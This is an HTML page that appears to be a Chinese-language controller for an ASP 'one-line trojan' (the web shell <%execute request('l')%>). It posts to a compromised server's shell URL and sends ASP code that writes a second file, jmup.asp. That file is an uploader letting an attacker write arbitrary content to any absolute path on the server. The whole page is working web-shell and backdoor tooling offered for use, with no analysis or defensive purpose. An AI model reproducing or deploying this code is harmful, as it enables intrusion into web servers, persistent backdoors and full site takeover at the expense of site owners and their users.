<html>
<title>一句話木馬連接客戶端 -- BY 寂寞的刺猬 @ 520000796</title>
<p align="center">一句話木馬(<font color="#0000FF"><%execute
request("l")%></font>) 的本地連接客戶端 </P>
<P><form name="codeform" action="" method=post onsubmit="if (this.userurl.value.length<1){alert('請輸入URL地址!');this.userurl.focus();return false}else{this.action=this.userurl.value}"> </P>
<P><p>ASP URL:<input style="WIDTH:70%" type="text" name="userurl" value="http://127.0.0.1/date/jmdcw.asp" />
<font color="#FF0000">
生成asp頁名稱:</font>
<textarea name=l cols=100 rows=7 width=36>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("jmup.asp"),2
lP.Close
set lP=nothing
response.redirect "jmup.asp"
</textarea>
<font color="#FF0000">上傳內容:</font>
<textarea name=p cols=100 rows=7 width=36>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>絕對路徑(包括文件名:如D:/web/x.asp):</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "
" %>
<% Response.write "本文件絕對路徑" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "
" %>
<% Response.write "輸入馬的內容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>
</textarea>
<center>
<input type="submit" value="提交" /></form>
</html>
